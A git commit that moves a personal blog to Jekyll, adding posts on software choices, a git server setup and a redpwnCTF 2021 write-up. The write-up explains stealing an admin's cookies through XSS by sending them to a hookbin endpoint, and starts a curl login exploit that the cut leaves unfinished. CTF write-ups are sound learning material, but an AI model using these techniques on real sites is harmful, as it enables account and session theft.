From c364c4b0273e76cb13571878d1a4a2853a392b9b Mon Sep 17 00:00:00 2001 From: lonkaars Date: Fri, 12 Apr 2024 10:31:48 +0200 Subject: WIP transition to jekyll --- .gitignore | 37 +- _config.yml | 9 + _data/authors.yml | 7 + _layouts/post.html | 30 + _posts/2021-04-13-software.md | 282 ++ _posts/2021-04-24-connect4.md | 21 + _posts/2021-04-28-git.md | 166 + _posts/2021-07-13-redpwn2021.md | 782 ++++ _posts/2021-07-22-scoop.md | 120 + _posts/2021-08-17-homeauto.md | 260 ++ _posts/2021-09-09-avanswifi.md | 29 + _posts/2022-01-24-latex.md | 134 + components/button.tsx | 9 - components/card.tsx | 14 - components/chapters.tsx | 68 - components/image.tsx | 11 - components/navbar.tsx | 70 - components/seperator.tsx | 12 - components/tag.tsx | 28 - dprint.json | 25 - img/avanswifi.png | Bin 0 -> 11154 bytes img/connectfourbeta.png | Bin 0 -> 58883 bytes img/git.png | Bin 0 -> 4254 bytes img/helloworld.png | Bin 0 -> 16179 bytes img/homeauto.png | Bin 0 -> 71740 bytes img/homeauto/controller_board.jpg | Bin 0 -> 3816785 bytes img/homeauto/controller_original.jpg | Bin 0 -> 3581275 bytes img/homeauto/esp8266.jpg | Bin 0 -> 3865836 bytes img/homeauto/espfit.png | Bin 0 -> 10565344 bytes img/homeauto/finishedcontroller.png | Bin 0 -> 4409149 bytes img/homeauto/irboardbot.png | Bin 0 -> 4587329 bytes img/homeauto/irboardtop.png | Bin 0 -> 4736589 bytes img/homeauto/open_controller.jpg | Bin 0 -> 3565942 bytes img/homeauto/opening_controller.jpg | Bin 0 -> 3438595 bytes img/homeauto/schematic.png | Bin 0 -> 109370 bytes img/homeauto/shittydremel.png | Bin 0 -> 9012008 bytes img/latex.png | Bin 0 -> 7014 bytes img/redpwn2021.png | Bin 0 -> 10895 bytes img/redpwn2021/cyberchef1.png | Bin 0 -> 71260 bytes img/redpwn2021/cyberchef2.png | Bin 0 -> 78732 bytes img/redpwn2021/leaderboard.png | Bin 0 -> 17973 bytes img/scoop.png | Bin 0 -> 222389 bytes img/software.png | Bin 0 -> 23521 bytes index.md | 16 + makefile | 5 + package.json | 29 - pages/_app.tsx | 34 - pages/index.tsx | 101 - pages/post/[id].tsx | 216 - pages/search.tsx | 170 - posts/avanswifi.md | 26 - posts/connect4.md | 17 - posts/git.md | 161 - posts/homeauto.md | 248 -- posts/index.md | 25 - posts/latex.md | 129 - posts/redpwn2021.md | 775 ---- posts/scoop.md | 115 - posts/software.md | 275 -- public/atom.xml | 4403 -------------------- public/font/font.css | 115 - public/font/inter/Inter-Bold.woff | Bin 143100 -> 0 bytes public/font/inter/Inter-Bold.woff2 | Bin 106052 -> 0 bytes public/font/inter/Inter-BoldItalic.woff | Bin 149808 -> 0 bytes public/font/inter/Inter-BoldItalic.woff2 | Bin 111644 -> 0 bytes public/font/inter/Inter-Italic.woff | Bin 143188 -> 0 bytes public/font/inter/Inter-Italic.woff2 | Bin 106604 -> 0 bytes public/font/inter/Inter-Medium.woff | Bin 142340 -> 0 bytes public/font/inter/Inter-Medium.woff2 | Bin 105500 -> 0 bytes public/font/inter/Inter-MediumItalic.woff | Bin 149704 -> 0 bytes public/font/inter/Inter-MediumItalic.woff2 | Bin 111968 -> 0 bytes public/font/inter/Inter-Regular.woff | Bin 133856 -> 0 bytes public/font/inter/Inter-Regular.woff2 | Bin 98804 -> 0 bytes public/font/inter/Inter-SemiBold.woff | Bin 142760 -> 0 bytes public/font/inter/Inter-SemiBold.woff2 | Bin 105992 -> 0 bytes public/font/inter/Inter-SemiBoldItalic.woff | Bin 149776 -> 0 bytes public/font/inter/Inter-SemiBoldItalic.woff2 | Bin 111676 -> 0 bytes public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 | Bin 59436 -> 0 bytes .../jetbrainsmono/JetBrainsMono-BoldItalic.woff2 | Bin 61992 -> 0 bytes .../font/jetbrainsmono/JetBrainsMono-Italic.woff2 | Bin 60864 -> 0 bytes .../font/jetbrainsmono/JetBrainsMono-Medium.woff2 | Bin 59232 -> 0 bytes .../jetbrainsmono/JetBrainsMono-MediumItalic.woff2 | Bin 62208 -> 0 bytes .../font/jetbrainsmono/JetBrainsMono-Regular.woff2 | Bin 58268 -> 0 bytes public/img/avanswifi.png | Bin 11154 -> 0 bytes public/img/connectfourbeta.png | Bin 58883 -> 0 bytes public/img/git.png | Bin 4254 -> 0 bytes public/img/helloworld.png | Bin 16179 -> 0 bytes public/img/homeauto.png | Bin 71740 -> 0 bytes public/img/homeauto/controller_board.jpg | Bin 3816785 -> 0 bytes public/img/homeauto/controller_original.jpg | Bin 3581275 -> 0 bytes public/img/homeauto/esp8266.jpg | Bin 3865836 -> 0 bytes public/img/homeauto/espfit.png | Bin 10565344 -> 0 bytes public/img/homeauto/finishedcontroller.png | Bin 4409149 -> 0 bytes public/img/homeauto/irboardbot.png | Bin 4587329 -> 0 bytes public/img/homeauto/irboardtop.png | Bin 4736589 -> 0 bytes public/img/homeauto/open_controller.jpg | Bin 3565942 -> 0 bytes public/img/homeauto/opening_controller.jpg | Bin 3438595 -> 0 bytes public/img/homeauto/schematic.png | Bin 109370 -> 0 bytes public/img/homeauto/shittydremel.png | Bin 9012008 -> 0 bytes public/img/latex.png | Bin 7014 -> 0 bytes public/img/redpwn2021.png | Bin 10895 -> 0 bytes public/img/redpwn2021/cyberchef1.png | Bin 71260 -> 0 bytes public/img/redpwn2021/cyberchef2.png | Bin 78732 -> 0 bytes public/img/redpwn2021/leaderboard.png | Bin 17973 -> 0 bytes public/img/scoop.png | Bin 222389 -> 0 bytes public/img/software.png | Bin 23521 -> 0 bytes public/robots.txt | 2 - readme.md | 16 - robots.txt | 1 + rss/base.xml | 10 - rss/genrss | 23 - scripts/build | 29 - scripts/genposts | 9 - scripts/meta | 22 - scripts/postinfo | 24 - scripts/posts | 16 - scripts/tags | 10 - tsconfig.json | 29 - yarn.lock | 2480 ----------- 119 files changed, 1865 insertions(+), 9780 deletions(-) create mode 100644 _config.yml create mode 100644 _data/authors.yml create mode 100644 _layouts/post.html create mode 100644 _posts/2021-04-13-software.md create mode 100644 _posts/2021-04-24-connect4.md create mode 100644 _posts/2021-04-28-git.md create mode 100644 _posts/2021-07-13-redpwn2021.md create mode 100644 _posts/2021-07-22-scoop.md create mode 100644 _posts/2021-08-17-homeauto.md create mode 100644 _posts/2021-09-09-avanswifi.md create mode 100644 _posts/2022-01-24-latex.md delete mode 100644 components/button.tsx delete mode 100644 components/card.tsx delete mode 100644 components/chapters.tsx delete mode 100644 components/image.tsx delete mode 100644 components/navbar.tsx delete mode 100644 components/seperator.tsx delete mode 100644 components/tag.tsx delete mode 100644 dprint.json create mode 100644 img/avanswifi.png create mode 100644 img/connectfourbeta.png create mode 100644 img/git.png create mode 100644 img/helloworld.png create mode 100644 img/homeauto.png create mode 100644 img/homeauto/controller_board.jpg create mode 100644 img/homeauto/controller_original.jpg create mode 100644 img/homeauto/esp8266.jpg create mode 100644 img/homeauto/espfit.png create mode 100644 img/homeauto/finishedcontroller.png create mode 100644 img/homeauto/irboardbot.png create mode 100644 img/homeauto/irboardtop.png create mode 100644 img/homeauto/open_controller.jpg create mode 100644 img/homeauto/opening_controller.jpg create mode 100644 img/homeauto/schematic.png create mode 100644 img/homeauto/shittydremel.png create mode 100644 img/latex.png create mode 100644 img/redpwn2021.png create mode 100644 img/redpwn2021/cyberchef1.png create mode 100644 img/redpwn2021/cyberchef2.png create mode 100644 img/redpwn2021/leaderboard.png create mode 100644 img/scoop.png create mode 100644 img/software.png create mode 100644 index.md create mode 100644 makefile delete mode 100644 package.json delete mode 100644 pages/_app.tsx delete mode 100644 pages/index.tsx delete mode 100644 pages/post/[id].tsx delete mode 100644 pages/search.tsx delete mode 100644 posts/avanswifi.md delete mode 100644 posts/connect4.md delete mode 100644 posts/git.md delete mode 100644 posts/homeauto.md delete mode 100644 posts/index.md delete mode 100644 posts/latex.md delete mode 100644 posts/redpwn2021.md delete mode 100644 posts/scoop.md delete mode 100644 posts/software.md delete mode 100644 public/atom.xml delete mode 100644 public/font/font.css delete mode 100644 public/font/inter/Inter-Bold.woff delete mode 100644 public/font/inter/Inter-Bold.woff2 delete mode 100644 public/font/inter/Inter-BoldItalic.woff delete mode 100644 public/font/inter/Inter-BoldItalic.woff2 delete mode 100644 public/font/inter/Inter-Italic.woff delete mode 100644 public/font/inter/Inter-Italic.woff2 delete mode 100644 public/font/inter/Inter-Medium.woff delete mode 100644 public/font/inter/Inter-Medium.woff2 delete mode 100644 public/font/inter/Inter-MediumItalic.woff delete mode 100644 public/font/inter/Inter-MediumItalic.woff2 delete mode 100644 public/font/inter/Inter-Regular.woff delete mode 100644 public/font/inter/Inter-Regular.woff2 delete mode 100644 public/font/inter/Inter-SemiBold.woff delete mode 100644 public/font/inter/Inter-SemiBold.woff2 delete mode 100644 public/font/inter/Inter-SemiBoldItalic.woff delete mode 100644 public/font/inter/Inter-SemiBoldItalic.woff2 delete mode 100644 public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 delete mode 100644 public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 delete mode 100644 public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 delete mode 100644 public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 delete mode 100644 public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 delete mode 100644 public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 delete mode 100644 public/img/avanswifi.png delete mode 100644 public/img/connectfourbeta.png delete mode 100644 public/img/git.png delete mode 100644 public/img/helloworld.png delete mode 100644 public/img/homeauto.png delete mode 100644 public/img/homeauto/controller_board.jpg delete mode 100644 public/img/homeauto/controller_original.jpg delete mode 100644 public/img/homeauto/esp8266.jpg delete mode 100644 public/img/homeauto/espfit.png delete mode 100644 public/img/homeauto/finishedcontroller.png delete mode 100644 public/img/homeauto/irboardbot.png delete mode 100644 public/img/homeauto/irboardtop.png delete mode 100644 public/img/homeauto/open_controller.jpg delete mode 100644 public/img/homeauto/opening_controller.jpg delete mode 100644 public/img/homeauto/schematic.png delete mode 100644 public/img/homeauto/shittydremel.png delete mode 100644 public/img/latex.png delete mode 100644 public/img/redpwn2021.png delete mode 100644 public/img/redpwn2021/cyberchef1.png delete mode 100644 public/img/redpwn2021/cyberchef2.png delete mode 100644 public/img/redpwn2021/leaderboard.png delete mode 100644 public/img/scoop.png delete mode 100644 public/img/software.png delete mode 100644 public/robots.txt delete mode 100644 readme.md create mode 100644 robots.txt delete mode 100644 rss/base.xml delete mode 100755 rss/genrss delete mode 100755 scripts/build delete mode 100755 scripts/genposts delete mode 100755 scripts/meta delete mode 100755 scripts/postinfo delete mode 100755 scripts/posts delete mode 100755 scripts/tags delete mode 100644 tsconfig.json delete mode 100644 yarn.lock diff --git a/.gitignore b/.gitignore index 6413ab8..ca77d87 100644 --- a/.gitignore +++ b/.gitignore @@ -1,37 +1,6 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. +_site +.jekyll-cache +.jekyll-metadata -# dependencies -/node_modules -/.pnp -.pnp.js - -# testing -/coverage - -# next.js -/.next/ -/out/ -next-env.d.ts - -# production -/build - -# misc .DS_Store -*.pem - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* - -# local env files -.env.local -.env.development.local -.env.test.local -.env.production.local - -# vercel -.vercel -public/posts.json diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..f82b166 --- /dev/null +++ b/_config.yml @@ -0,0 +1,9 @@ +permalink: /post/:title +exclude: + - makefile + - license +defaults: + - scope: + type: posts + values: + layout: post diff --git a/_data/authors.yml b/_data/authors.yml new file mode 100644 index 0000000..225bec1 --- /dev/null +++ b/_data/authors.yml @@ -0,0 +1,7 @@ +authors: + - name: Loek + git: + - lonkaars + - name: Willem + git: + - Willem Paternotte diff --git a/_layouts/post.html b/_layouts/post.html new file mode 100644 index 0000000..847df76 --- /dev/null +++ b/_layouts/post.html @@ -0,0 +1,30 @@ + + + + + + {{ page.title }} - Loek's Blog + + + + + +
+
+

{{ page.title }}

+

{{ page.subtitle }}

+ {props.meta.tags && } +
+
+
+ + +
+
+ +
+ {{ content }} +
+
+ + diff --git a/_posts/2021-04-13-software.md b/_posts/2021-04-13-software.md new file mode 100644 index 0000000..9cad319 --- /dev/null +++ b/_posts/2021-04-13-software.md @@ -0,0 +1,282 @@ +--- +title: Software that I use +subtitle: Desktop software, server software, phone apps, everything +author: Loek +date: April 13 2021 +tags: + - software + - open + - source + - server + - phone +cover: /img/software.png +--- + +## PC software + +All of the software on this page is cool and I think you should try it. I also +use all of this software, and will update this page when I find new, *even +cooler* software to use instead. Most if not all of my configuration files +(dotfiles) are on my [github](https://github.com/lonkaars/dotfiles). You can +clone these and edit them to fit your needs, or you can use them as a reference +for when you can't figure out how to configure something. + +### Regular software + +- **Email client**: [neomutt](https://neomutt.org/). It's fast and simple, + though configuring it was a pain in the ass. I'm currently using it in + combination with mbsync and imapnotify to get notifications for new emails, + and sync my mailbox for fast email viewing. + +- **Music player**: [mpd](https://www.musicpd.org/) with + [ncmpcpp](https://github.com/ncmpcpp/ncmpcpp). This is the best music setup + I've ever used. I download all my music in .flac format and mpd *just works*. + Since mpd has a server-client structure, I could also use this to set up + multiple devices that can add music to a central queue at a party or + something, but I just use it to launch [an fzf mpc + wrapper](https://github.com/DanielFGray/fzf-scripts/blob/master/fzmp) to + quickly add music while I'm doing something else. + +- **Text editor**: [nvim](https://neovim.io/). It's vim. If you don't like vim, + you should try using it longer. If you still don't like vim, you can use + [code oss](https://appimage.github.io/Code_OSS/) which is visual studio code + but without Microsoft's creepy telemetry features. + +- **PDF viewer**: [zathura](https://pwmt.org/projects/zathura/). It's a pdf + viewer with vim bindings, and it works with my TeX editing setup's live + reload thingy. + +- **Image viewer**: [sxiv](https://github.com/muennich/sxiv). It's like zathura + but for images, but it also does a bunch of other stuff that I don't use very + often. + +- **Browser**: [brave](https://brave.com/). It's a normie-friendly chromium + fork with extra privacy features! I of course use brave (or any + chromium-based browser) with [tampermonkey](https://www.tampermonkey.net/), + [ublock origin](https://ublockorigin.com/), + [stylus](https://github.com/openstyles/stylus) and [dark + reader](https://darkreader.org/). + +- **Terminal**: [st](https://st.suckless.org/). It's fast and simple, nothing + to complain about. I have my [own st fork](https://github.com/lonkaars/st), + with a bunch of patches that make me happy. + +- **Password manager**: [bitwarden](https://bitwarden.com/). Open source + password manager that you can host yourself. It also has public servers which + are mostly free, but some features like time-based one-time passwords are + paid. All the clients are also open source. + +- **Document typesetting**: [LaTeX](https://www.latex-project.org/) (using + [latexmk](https://personal.psu.edu/~jcc8/software/latexmk/) with the + [XeTeX](http://xetex.sourceforge.net/) compiler). + +- **File browser**: [ranger](https://github.com/ranger/ranger). It's kind of + slow, but I use the bulkrename feature very often, and I haven't gotten used + to the perl `rename` script yet. + +- [unar](https://github.com/MacPaw/XADMaster). I like running `unar [archive]` + instead of using `7z`, `tar`, `unzip`, etc. It creates a new folder to unpack + to automatically so it does exactly what I need. + +### OS stuff + +- **Window manager**: [i3-gaps](https://github.com/Airblader/i3). I tried it + once and didn't switch back so this is a winner I guess. I've also heard good + things about [dwm](https://dwm.suckless.org/), though I haven't used it + myself. Most people complain about i3's limited configurability, but I + haven't ran into something that it doesn't do for me. + +- **Application launcher**: [rofi](https://github.com/davatorium/rofi). I've + been using rofi since I started using linux, and haven't switched to anything + else because it's *very* configurable, and has a dmenu mode for using it + instead of dmenu with other scripts. I use it primarily as my application + launcher, but I also have a hotkey setup to launch `bwmenu` which is a script + that fills in bitwarden passwords using rofi. + +- **Shell**: [zsh](https://www.zsh.org/) with [oh-my-zsh](https://ohmyz.sh/). + It's zsh, all the cool kids use it already. I do have `/usr/bin/sh` `ln -s`'d + to `/usr/bin/bash`, but I'd like to change that to `/usr/bin/dash`. Eh, I'll + get around to it someday. + +- **Status Bar**: [polybar](https://github.com/polybar/polybar). Simple bar, + gets the job done, the configuration files make me go insane though. It took + me a good half year of ricing to understand the polybar configuration files, + and I'm still not sure if I do. + +- **Notification daemon**: [dunst](https://dunst-project.org/). I used to use + deadd-notification-center, but that has waaaay too many haskell dependencies + on arch, so I don't use that anymore. + +- **Global keybinds**: + [xbindkeys](https://www.nongnu.org/xbindkeys/xbindkeys.html). Simple + configuration, works flawlessly, 10/10. + +- **Compositor**: [picom](https://github.com/yshui/picom). It's a simple + compositor. I use it to enable vsync for desktop windows, and I have it set + up to only show a drop shadow on floating i3 windows. + +### Closed source + +- [discord](https://discord.com/). Gamer. The only reason this is listed here + is because I use discord with + [betterdiscord](https://github.com/rauenzi/BetterDiscordApp) (which *is* + open-source). Betterdiscord allows you to use custom css themes, custom + plugins and a whole bunch of other cool stuff that regular discord doesn't + do. It's technically against TOS, but I don't really care as I only use + quality of life improvement plugins. + +- [figma](https://figma.com). It's the designing software that I use to create + user interface or website mockups. It's easily accessible though a browser, + and it uses webassembly so it's also decently fast. It's free for personal + use. + +## Server software + +This is the software that runs on my home server. + +### Email + +I used [Luke Smith's](http://lukesmith.xyz/) +[emailwiz](https://github.com/LukeSmithxyz/emailwiz) to set up my email server. +The script installs and configures an email setup with +[postfix](http://www.postfix.org/), [dovecot](https://www.dovecot.org/), +[spamassassin](https://spamassassin.apache.org/) and +[opendkim](http://www.opendkim.org/). + +### Etesync + +I run my own [etesync](https://www.etesync.com/) server for synchronizing my +to-do lists, calendar and contacts. It's relatively easy to set up, and has a +web interface that you can use with your own self-hosted instance. + +### Bitwarden + +I also run my own [bitwarden](https://github.com/bitwarden/server) server. It +uses docker with docker-compose, which are two things that I'm supposed to know +about, but I don't. + +I'm working on a connect 4 website myself, and I'm planning on learning to use +docker with docker-compose to make it easier to run the seperate parts that are +needed to host the project. + +### Git + +I have a [cgit](https://git.zx2c4.com/cgit/about/) server to host my git +repositories on , and I use +[gitolite](https://gitolite.com/gitolite/) for ssh git push access. Cgit is +very easy to set up, and I like it very much. Gitolite on the other hand is a +pain in the ass to set up, because the documentation is not that great. If +you're planning on using gitolite on your own server, set the umask in +`~/.gitolite.rc` of your server's git account to `0022`. + +### SFTP + +I have two semi-public sftp accounts set up on my server: `media` and `sftp`. +`sftp` is for generic file sharing, and `media` is for my media. Both accounts +have tty login disabled and are chroot-jailed to /var/media and /var/sftp. + +## Phone apps + +These are the apps that I use on my phone. I recently upgraded my 2017 Nokia 6 +to a Google Pixel 4a (sunfish). It's a great phone! You can root it or flash +custom rom's very easily, and it gave me new appreciation for the basic +features of a smartphone. The Pixel 4a has really good haptics. They're almost +iPhone level, though I won't be using iPhones any time soon. + +I flashed [CalyxOS](https://calyxos.org/) as soon as it was 5 minutes out of +the box, but ended up not liking it because of it's nonexistant root support. +I'm currently using [LineageOS](https://lineageos.org/) 18.1, rooted using +[magisk](https://github.com/topjohnwu/Magisk). + +### Open source + +- **One-time password generator**: [andotp](https://github.com/andOTP/andOTP) + +- **App store**: [aurora store](https://gitlab.com/AuroraOSS/AuroraStore). This + app works better when you're rooted, but it's way better than the google play + store. + +- **App store**: [aurora f-droid](https://gitlab.com/AuroraOSS/auroradroid) + +- **Password manager**: [bitwarden](https://github.com/bitwarden/mobile) + +- **Browser**: [bromite](https://www.bromite.org/). This is basically ungoogled + chromium but for mobile. + +- **Calendar**: [etar](https://github.com/Etar-Group/Etar-Calendar) + +- [etesync](https://github.com/etesync/android) + +- **File browser**: [material + files](https://github.com/zhanghai/MaterialFiles). It looks sexy, it's free, + it's awesome. + +- **Email client**: [k-9](https://k9mail.app/). + +- **Maps**: [osmand](https://osmand.net/). + +- **Music player**: [shuttle](https://www.shuttlemusicplayer.com/). It looks + sexy, it's free, it's awesome. + +- **Instant messenger**: [signal](https://signal.org/). [papa musk said + it](https://twitter.com/elonmusk/status/1347165127036977153). + +- **Manga reader**: [tachiyomi](https://tachiyomi.org/) + +- **To-do lists**: [tasks.org](https://tasks.org/). This is easily the best + to-do app I've ever used, and it integrated very well with etesync. + + If you're cheap (like me), you can get 'free' pro by downloading this app + through f-droid instead of the play store. It's still nice to donate. + +- **Smart home control**: [home assistant](https://www.home-assistant.io/). + [the whole spiel](/post/homeauto). + +- **Notes**: [leaflet](https://github.com/PotatoProject/Leaflet). It's + basically Google Keep but open source and without Google. It's part of the + PotatoProject which is a custom Android rom, and there were plans for an open + source notes sync server that you could host yourself, but I haven't seen + that pop up yet. + + The app is written in Flutter, and did have choppy scrolling animations on my + old phone. I'm not sure if that was a bug or my old phone just being + underpowered, but it's something I want to mention anyways. + +- **Weather**: [geometric + weather](https://f-droid.org/en/packages/wangdaye.com.geometricweather/). + It's really good. Good animations, live wallpaper, fast, etc. + +- **RSS Reader**: [tiny tiny + rss](https://www.f-droid.org/en/packages/org.fox.tttrss/). This app requires + that you host your own tiny tiny rss server, but I do and the app works + great! + +- **Myanimelist client**: [moelist](https://github.com/axiel7/MoeList). I don't + know how I found this app but it's a real gem. If you use MAL you should + download this app. + +- **PDF reader**: [pdf viewer + plus](https://f-droid.org/en/packages/com.gsnathan.pdfviewer/). This is the + only one that's actually decent. Good UI, good UX, pretty fast rendering. + 9/10 + +### Requires root + +- **Ad-blocker**: [adaway](https://adaway.org/). It does have a rootless mode, + though the app warns you that it's slower and impacts your battery life + negatively. + +- **Theme engine**: [substratum](https://github.com/substratum/substratum). + Substratum requires root on android 9+, unless you're on stock samsung (one + ui). Android 8 and under users can buy + [andromeda](https://play.google.com/store/apps/details?id=projekt.andromeda). + Samsung users can buy + [synergy](https://play.google.com/store/apps/details?id=projekt.samsung.theme.compiler). + They're both developed by the same people behind substratum, but they're not + open source. + +### Closed source + +- **Reddit client**: + [sync](https://play.google.com/store/apps/details?id=com.laurencedawson.reddit_sync) + diff --git a/_posts/2021-04-24-connect4.md b/_posts/2021-04-24-connect4.md new file mode 100644 index 0000000..c1e0c69 --- /dev/null +++ b/_posts/2021-04-24-connect4.md @@ -0,0 +1,21 @@ +--- +title: Connect 4 beta live! +subtitle: Announcement post +author: Loek +date: April 24 2021 +tags: + - connect 4 + - beta +cover: /img/connectfourbeta.png +--- + +My connect four website is currently online as a public beta. You can visit the +website at . A list of known bugs is on the +homepage, and all other issues should be submitted to +[GitHub](https://github.com/lonkaars/connect-4/issues). + +If I encounter some very interesing bug that I think deserves it's own blog +post I'll write one about it of course. I have one more week from now to worry +about the connect four website, but after that I'm going to start preparing for +my school exams. + diff --git a/_posts/2021-04-28-git.md b/_posts/2021-04-28-git.md new file mode 100644 index 0000000..17d43dc --- /dev/null +++ b/_posts/2021-04-28-git.md @@ -0,0 +1,166 @@ +--- +title: My git setup +subtitle: How I use git on my server +author: Loek +date: April 28 2021 +tags: + - git + - server + - software +cover: /img/git.png +--- + +## Overview + +I have two mechanisms set up for accessing my git server. I use gitolite for +ssh access and permission management. I also have cgit set up which generates +html pages for viewing your repositories and also hosts your repositories over +http, or https if you have it set up. + +## SSH Access with gitolite + +Gitolite was a pain in the ass to set up because I didn't understand umasks +before I started trying to set it up. A *umask* is like the opposite of what +you'd enter when running `chmod`. For example: if I run `touch test`, I will +now have a file with the same permissions as `chmod 644`. That looks something +like this: + +```sh +$ touch test +$ ls -l +total bla bla +-rw-r--r-- 1 loek users 0 Apr 28 12:28 test +$ chmod 644 test +$ ls -l +total bla bla +-rw-r--r-- 1 loek users 0 Apr 28 12:28 test +$ # notice the same permissions on the 'test' file +``` + +If I want gitolite to create repositories with default permissions so other +users can read the repositories, I have to set my umask to the opposite of 644. +Here's a quick explanation of `ls -l`'s output: + +```sh +-rw-r--r-- * user group size date time filename +|└┬┘└┬┘└┬┘ +| | | └all users +| | └owner group +| └owner user +└type +``` + +Each digit in a `chmod` command sets the permission for the file owner, file +group, then everyone. That looks something like this: + +```sh +$ chmod 644 test + +decimal: 6 4 4 +binary: 110 100 100 +ls -l: - rw- r-- r-- +``` + +Then we take the opposite of this to get the umask: + +```sh +$ chmod 755 directory -R + +ls -l: d rwx r-x r-x +binary: 000 010 010 +decimal: 0 2 2 +``` + +And now my `.gitolite.rc`: + +```perl +%RC = ( + UMASK => 0022, + ROLES => { + READERS => 1, + WRITERS => 1, + }, + + ENABLE => [ + 'ssh-authkeys', + 'git-config', + 'daemon', + 'gitweb', + ], +); + +1; +``` + +## HTTP(S) Access with cgit + +Cgit is probably the easiest thing to set up. It has great built-in +documentation (`man 5 cgitrc`). Pretty much all configuration is in +`/etc/cgitrc` (css/syntax highlighting isn't in there). The only reason I'm +posting my config here is because for some reason, the order of the options in +cgit's config matters: + +```rc +# +# cgit config +# see cgitrc(5) for details + +cache-size=0 +enable-commit-graph=1 + +css=/cgit.css +logo=/cgit.png + +virtual-root=/ +remove-suffix=1 + +root-title=git :tada: + +## +## List of common mimetypes +## +mimetype.gif=image/gif +mimetype.html=text/html +mimetype.jpg=image/jpeg +mimetype.jpeg=image/jpeg +mimetype.pdf=application/pdf +mimetype.png=image/png +mimetype.svg=image/svg+xml + +# Highlight source code with python pygments-based highlighter +source-filter=/usr/lib/cgit/filters/syntax-highlighting.py + +# Format markdown, restructuredtext, manpages, text files, and html files +# through the right converters +about-filter=/usr/lib/cgit/filters/about-formatting.sh + +## +## Search for these files in the root of the default branch of repositories +## for coming up with the about page: +## +readme=:README.md +readme=:readme.md +readme=:README.rst +readme=:readme.rst +readme=:README.txt +readme=:readme.txt +readme=:README +readme=:readme +readme=:INSTALL.md +readme=:install.md +readme=:INSTALL.mkd +readme=:install.mkd +readme=:INSTALL.rst +readme=:install.rst +readme=:INSTALL.html +readme=:install.html +readme=:INSTALL.htm +readme=:install.htm +readme=:INSTALL.txt +readme=:install.txt +readme=:INSTALL +readme=:install + +scan-path=/mnt/scf/git/repositories +``` + diff --git a/_posts/2021-07-13-redpwn2021.md b/_posts/2021-07-13-redpwn2021.md new file mode 100644 index 0000000..3c1a991 --- /dev/null +++ b/_posts/2021-07-13-redpwn2021.md @@ -0,0 +1,782 @@ +--- +title: redpwnCTF 2021 +subtitle: A noob's perspective +authors: + - Loek + - Willem +date: July 13 2021 +tags: + - hacking + - CTF + - writeup +cover: /img/redpwn2021.png +--- + +This is the first 'real' CTF I've participated in. About two weeks ago, a +friend of mine was stuck on some challenges from the Radboud CTF. This was a +closed CTF more geared towards beginners (high school students), and only had a +few challenges which required deeper technical knowledge of web servers and +programming. Willem solved most of the challenges, and I helped solve 3 more. + +Apart from those challenges, basically all my hacking knowledge comes from +computerphile videos, liveoverflow videos and making applications myself. + +> epic announcement!!! +> +> Willem has added explanations of the challenges he solved, so go read them! + +## Challenges + +### web/pastebin-1 + +This challenge is a simple XSS exploit. The website that's vulnerable is +supposed to be a clone of pastebin. I can enter any text into the paste area, +and it will get inserted as HTML code into the website when someone visits the +generated link. + +The challenge has two sites: one with the pastebin clone, and one that visits +any pastebin url as the website administrator. The goal of this challenge is +given by it's description: + +> Ah, the classic pastebin. Can you get the admin's cookies? + +In JS, you can read all cookies without the `HttpOnly` attribute by reading +`document.cookie`. This allows us to read the cookies from the admin's browser, +but now we have to figure out a way to get them sent back to us. + +Luckily, there's a free service called [hookbin](https://hookbin.com/) that +gives you an http endpoint to send anything to, and look at the request +details. + +Combining these two a simple paste can be created: + +```html + +``` + +### crypto/scissor + +I wasn't planning on including this one, but it makes use of the excellent +[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the +challenge description, and is encrypted using a ceasar/rot13 cipher. A simple +python implementation of this cipher is included with the challenge, but I just +put it into CyberChef and started trying different offsets. + +### rev/wstrings + +> Some strings are wider than normal... + +This challenge has a binary that uses a simple `strcmp` to check the flag. When +running the program, the following output is visible: + +```sh +# ./wstrings +Welcome to flag checker 1.0. +Give me a flag> +``` + +My first stategy was running the `strings` utility on the `wstrings` binary, +but I didn't find the flag. What was interesting to me though was that I also +couldn't find the prompt text... This immediately made me check for other +string encodings. + +Running the `strings` utility with the `-eL` flag tells `strings` to look for +32-bit little-endian encoded strings, and lo and behold the flag shows up! + +This is because ascii strings are less 'wide' than 32-bit strings: + +``` + --- ascii --- + +hex -> 0x68 0x65 0x6c 0x6c 0x6f +str -> h e l l o +``` + +Notice how each character is represented by a single byte each (8 bits) in +ascii, as opposed to 32-bit characters in 32-bit land. + +``` + --- 32-bit land --- + +hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f +str -> h e l l o +``` + +I think 32-bit strings also have practical use for things like non-English +texts such as Hebrew, Chinese or Japanese. Those characters take up more space +anyways, and you would waste less space by not using unicode escape characters. + +### web/secure + +> Just learned about encryption—now, my website is unhackable! + +This challenge is pretty simple if you know some of JS's quirks. Right at the +top of the file is an sqlite3 expression in JS: + +```js +//////// +db.exec(`INSERT INTO users (username, password) VALUES ( + '${btoa('admin')}', + '${btoa(crypto.randomUUID)}' +)`); +``` + +This section of code immediately jumped out to me because I noticed that +`crypto.randomUUID` wasn't actually being called. + +Because the 'random uuid' is being fed into `btoa()` it becomes a base64 +encoded string. However, `btoa()` also expects a string as input. Because every +object in JS has a `.toString()` method, when you pass it into a function +expecting another type, JS will happily convert it for you without warning. + +This means that the admin's password will always be a base64-encoded version of +`crypto.randomUUID`'s source code. We can get that base64-encoded source code +by running the following in a NodeJS REPL: + +```js +// import file system and crypto modules +var writeFileSync = require('fs').writeFileSync; +var crypto = require('crypto'); + +// write source to file +writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8'); +``` + +I made a simple shell script that calls cURL with the base64-encoded +parameters, and decodes the url-encoded flag afterwards: + +```sh +#!/bin/sh + +# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell +function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } + +urldecode $(curl -sX POST \ + -d "username=$(printf 'admin' | base64)" \ + -d "password=$(cat 